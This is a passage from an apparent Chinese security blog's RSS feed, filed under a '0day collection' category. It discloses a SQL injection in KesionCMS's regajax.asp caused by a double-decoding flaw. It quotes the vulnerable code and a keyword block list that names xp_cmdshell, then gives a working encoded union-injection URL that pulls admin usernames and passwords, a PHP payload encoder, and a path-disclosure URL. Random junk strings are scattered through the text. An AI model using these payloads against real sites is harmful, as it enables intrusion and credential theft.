27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sub getCityOption() <br />
28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Province,XML,Node <br />
29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Province=UnEscape(KS.S(&quot;Province&quot;))&nbsp; //注意这里 <br />
30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim RS:Set RS=Server.CreateObject(&quot;ADODB.RECORDSET&quot;) <br />
31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RS.Open &quot;Select top 200 a.ID,a.City From KS_Province a Inner Join KS_Province b On A.ParentID=B.ID Where B.City='&quot; &amp; Province &amp; &quot;' order by a.orderid,a.id&quot;,conn,1,1 <br />
32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Not RS.Eof Then<br />
33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set XML=KS.RsToXml(Rs,&quot;row&quot;,&quot;&quot;) <br />
34&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br />
35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RS.Close : Set RS=Nothing<br />
36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If IsObject(XML) Then<br />
37&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For Each Node In XML.DocumentElement.SelectNodes(&quot;row&quot;) <br />
38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KS.Echo &quot;&lt;option value=&quot;&quot;<a href="mailto:&quot; &amp; node.SelectSingleNode(&quot;@city&quot;).text">&quot; &amp; node.SelectSingleNode(&quot;@city&quot;).text</a> &amp;&quot;&quot;&quot;&gt;&quot; &amp; node.SelectSingleNode(&quot;@city&quot;).text &amp;&quot;&lt;/option&gt;&quot;<br />
39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next<br />
40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br />
41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set XML=Nothing<br />
42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
43&nbsp;End Class<br />
01&nbsp;Class Ajax_Check <br />
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private KS <br />
03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private Sub Class_Initialize() <br />
04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set KS=New PublicCls <br />
05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Private Sub Class_Terminate() <br />
07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set KS=Nothing<br />
08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Public Sub Kesion() <br />
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case KS.S(&quot;Action&quot;) <br />
12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;checkusername&quot;<br />
13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call CheckUserName() <br />
14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;checkemail&quot;<br />
15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call CheckEmail() <br />
16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;checkcode&quot;<br />
17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call CheckCode() <br />
18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;getregform&quot;<br />
19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call GetRegForm() <br />
20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case &quot;getcityoption&quot;<br />
21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Call getCityOption() <br />
22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select<br />
23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
24&nbsp;&nbsp; <br />
25&nbsp;&hellip;&hellip;略去无关代码 <br />
26&nbsp;&nbsp; <br />
27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sub getCityOption() <br />
28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Province,XML,Node <br />
29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Province=UnEscape(KS.S(&quot;Province&quot;))&nbsp; //注意这里 <br />
30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim RS:Set RS=Server.CreateObject(&quot;ADODB.RECORDSET&quot;) <br />
31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RS.Open &quot;Select top 200 a.ID,a.City From KS_Province a Inner Join KS_Province b On A.ParentID=B.ID Where B.City='&quot; &amp; Province &amp; &quot;' order by a.orderid,a.id&quot;,conn,1,1 <br />
32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Not RS.Eof Then<br />
33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set XML=KS.RsToXml(Rs,&quot;row&quot;,&quot;&quot;) <br />
34&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br />
35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RS.Close : Set RS=Nothing<br />
36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If IsObject(XML) Then<br />
37&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For Each Node In XML.DocumentElement.SelectNodes(&quot;row&quot;) <br />
38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KS.Echo &quot;&lt;option value=&quot;&quot;<a href="mailto:&quot; &amp; node.SelectSingleNode(&quot;@city&quot;).text">&quot; &amp; node.SelectSingleNode(&quot;@city&quot;).text</a> &amp;&quot;&quot;&quot;&gt;&quot; &amp; node.SelectSingleNode(&quot;@city&quot;).text &amp;&quot;&lt;/option&gt;&quot;<br />
39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next<br />
40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br />
41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Set XML=Nothing<br />
42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Sub<br />
43&nbsp;End Class</p>
<p>以上代码中的Province=UnEscape(KS.S(&quot;Province&quot;)) 调用自定义函数KS.S进行过滤，接着又调用UnEscape函数解码！ - 低调求发展&quot; Q8 @/ Z( n/ x6 H- m<br />
- 低调求发展' R8 t! h+ Y0 C5 T<br />
其中KS.S 函数 与UnEscape函数 原型如下:01&nbsp;&nbsp;&nbsp;&nbsp; Function DelSql(Str) <br />
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SplitSqlStr,SplitSqlArr,I <br />
03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SplitSqlStr=&quot;dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell&quot;<br />
04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SplitSqlArr = Split(SplitSqlStr,&quot;|&quot;) <br />
05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) <br />
06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Instr(LCase(Str),SplitSqlArr(I))&gt;0 Then<br />
07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Die &quot;&lt;script&gt;alert('系统警告！\n\n1、您提交的数据有恶意字符&quot; &amp; SplitSqlArr(I) &amp;&quot;;\n2、您的数据已经被记录;\n3、您的IP：&quot;&amp;GetIP&amp;&quot;;\n4、操作日期：&quot;&amp;Now&amp;&quot;;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Powered By Kesion.Com!');window.close();&lt;/script&gt;&quot;<br />
08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if <br />
09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next<br />
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DelSql = Str <br />
11&nbsp;End Function<br />
12&nbsp;&nbsp;&nbsp;&nbsp; '取得Request.Querystring 或 Request.Form 的值 <br />
13&nbsp;&nbsp;&nbsp;&nbsp; Public Function S(Str) <br />
14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S = DelSql(Replace(Replace(Request(Str), &quot;'&quot;, &quot;&quot;), &quot;&quot;&quot;&quot;, &quot;&quot;)) <br />
15&nbsp;&nbsp;&nbsp;&nbsp; End Function<br />
01&nbsp;&nbsp;&nbsp;&nbsp; Function DelSql(Str) <br />
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SplitSqlStr,SplitSqlArr,I <br />
03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SplitSqlStr=&quot;dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell&quot;<br />
04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SplitSqlArr = Split(SplitSqlStr,&quot;|&quot;) <br />
05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) <br />
06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Instr(LCase(Str),SplitSqlArr(I))&gt;0 Then<br />
07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Die &quot;&lt;script&gt;alert('系统警告！\n\n1、您提交的数据有恶意字符&quot; &amp; SplitSqlArr(I) &amp;&quot;;\n2、您的数据已经被记录;\n3、您的IP：&quot;&amp;GetIP&amp;&quot;;\n4、操作日期：&quot;&amp;Now&amp;&quot;;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Powered By Kesion.Com!');window.close();&lt;/script&gt;&quot;<br />
08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End if <br />
09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Next<br />
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DelSql = Str <br />
11&nbsp;End Function<br />
12&nbsp;&nbsp;&nbsp;&nbsp; '取得Request.Querystring 或 Request.Form 的值 <br />
13&nbsp;&nbsp;&nbsp;&nbsp; Public Function S(Str) <br />
14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S = DelSql(Replace(Replace(Request(Str), &quot;'&quot;, &quot;&quot;), &quot;&quot;&quot;&quot;, &quot;&quot;)) <br />
15&nbsp;&nbsp;&nbsp;&nbsp; End Function</p>
<p>01&nbsp;Function UnEscape(str) <br />
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim x <br />
03&nbsp;&nbsp;&nbsp;&nbsp; x=InStr(str,&quot;%&quot;)&nbsp; <br />
04&nbsp;&nbsp;&nbsp;&nbsp; Do While x&gt;0 <br />
05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;Mid(str,1,x-1) <br />
06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If LCase(Mid(str,x+1,1))=&quot;u&quot; Then<br />
07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;ChrW(CLng(&quot;&amp;H&quot;&amp;Mid(str,x+2,4))) <br />
08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str=Mid(str,x+6) <br />
09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<br />
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;Chr(CLng(&quot;&amp;H&quot;&amp;Mid(str,x+1,2))) <br />
11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str=Mid(str,x+3) <br />
12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br />
13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x=InStr(str,&quot;%&quot;) <br />
14&nbsp;&nbsp;&nbsp;&nbsp; Loop<br />
15&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;str <br />
16&nbsp;End Function<br />
01&nbsp;Function UnEscape(str) <br />
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim x <br />
03&nbsp;&nbsp;&nbsp;&nbsp; x=InStr(str,&quot;%&quot;)&nbsp; <br />
04&nbsp;&nbsp;&nbsp;&nbsp; Do While x&gt;0 <br />
05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;Mid(str,1,x-1) <br />
06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If LCase(Mid(str,x+1,1))=&quot;u&quot; Then<br />
07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;ChrW(CLng(&quot;&amp;H&quot;&amp;Mid(str,x+2,4))) <br />
08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str=Mid(str,x+6) <br />
09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<br />
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;Chr(CLng(&quot;&amp;H&quot;&amp;Mid(str,x+1,2))) <br />
11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str=Mid(str,x+3) <br />
12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br />
13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x=InStr(str,&quot;%&quot;) <br />
14&nbsp;&nbsp;&nbsp;&nbsp; Loop<br />
15&nbsp;&nbsp;&nbsp;&nbsp; UnEscape=UnEscape&amp;str <br />
16&nbsp;End Function</p>
<p>这里编码出现混乱，产生了与php的二次编码类似的漏洞，利用比较简单，可以union：<br />
<a href="http://localhost/user/reg/regajax.asp?action=getcityoption&amp;province=%2527%2520%2575%256e%2569%256f%256e%2520%2553%2565%256c%2565%2563%2574%2520%2574%256f%2570%2520%2531%2530%2520%2541%2564%256d%2569%256e%2549%2544%252c%2555%2573%2565%2572%254e%2561%256d%2565%2526%2563%2568%2572%2528%2531%2532%2534%2529%2526%2550%2561%2573%2573%2557%256f%2572%2564%2520%2546%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500">http://localhost/user/reg/regajax.asp?action=getcityoption&amp;province=%2527%2520%2575%256e%2569%256f%256e%2520%2553%2565%256c%2565%2563%2574%2520%2574%256f%2570%2520%2531%2530%2520%2541%2564%256d%2569%256e%2549%2544%252c%2555%2573%2565%2572%254e%2561%256d%2565%2526%2563%2568%2572%2528%2531%2532%2534%2529%2526%2550%2561%2573%2573%2557%256f%2572%2564%2520%2546%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500</a><br />
Security3 I! Y&amp; Y3 Z/ K; U&nbsp; I<br />
上面的利用针对ACCESS，MSSQL需要改下SQL语句：1&nbsp;&lt;?php <br />
2&nbsp;$str = &quot;' union Select top 10 AdminID,UserName&amp;chr(124)&amp;PassWord From KS_Admin&quot;; <br />
3&nbsp;for ($i=0; $i&lt;=strlen($str); $i++){ <br />
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $temp .= &quot;%25&quot;.base_convert(ord($str[$i]),10,16); <br />
5&nbsp;} <br />
6&nbsp;echo $temp.&quot;0&quot;; <br />
7&nbsp;?&gt;<br />
1&nbsp;&lt;?php <br />
2&nbsp;$str = &quot;' union Select top 10 AdminID,UserName&amp;chr(124)&amp;PassWord From KS_Admin&quot;; <br />
3&nbsp;for ($i=0; $i&lt;=strlen($str); $i++){ <br />
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $temp .= &quot;%25&quot;.base_convert(ord($str[$i]),10,16); <br />
5&nbsp;} <br />
6&nbsp;echo $temp.&quot;0&quot;; <br />
7&nbsp;?&gt;</p>
<p>修改' union Select top 10 AdminID,UserName&amp;chr(124)&amp;PassWord From KS_Admin为相应的SQL语句即可。（MSSQL直接备份差异比较方便）</p>
<p>因为解码的时候进行了CLng类型转换，提交字符可以使其报错从而爆出物理路径 - 低调求发展9 @# p( E&quot; u% a3 l<br />
爆物理路径:http://localhost/user/reg/regajax.asp?action=getcityoption&amp;province=%25i&nbsp;</p>
<p><a href="http://www.st999.cn/blog/attachment.php?id=501" target="_blank"><img src="http://www.st999.cn/blog/attachments//date_201107/4f12ca1e7235186d02e11615ca15e226.jpg" border="0" alt="大小: 32.98 K&#13;尺寸: 469 x 252&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="469" height="252" /></a><a href="http://www.st999.cn/blog/attachment.php?id=502" target="_blank"><img src="http://www.st999.cn/blog/attachments/date_201107/thumb_0a35f5ed1dc792c5d451d372f79a1df1.jpg" border="0" alt="大小: 64.99 K&#13;尺寸: 420 x 500&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="420" height="500" /></a></p>
<p>&nbsp;</p>]]></description>
			<link>http://www.st999.cn/blog/?action=show&amp;id=461</link>
			<category domain="http://www.st999.cn/blog/?cid=7">oday收藏</category>
			<pubDate>2011-07-27 13:27</pubDate>
		</item>
		<item>
			<guid>http://www.st999.cn/blog/?action=show&amp;id=460</guid>
			<title>最土团购的一些漏洞</title>
			<author>admin</author>
			<description><![CDATA[<p>东西压了一年了&nbsp; 现在很多人都有了&nbsp; 听说前两天还有个黑客因为搞这个被河蟹了。。<br />
- - 默哀 看看就好了。。<br />
Security5 ]% ]% j2 H2 X* W! R4 B3 y&nbsp; s$ {<br />
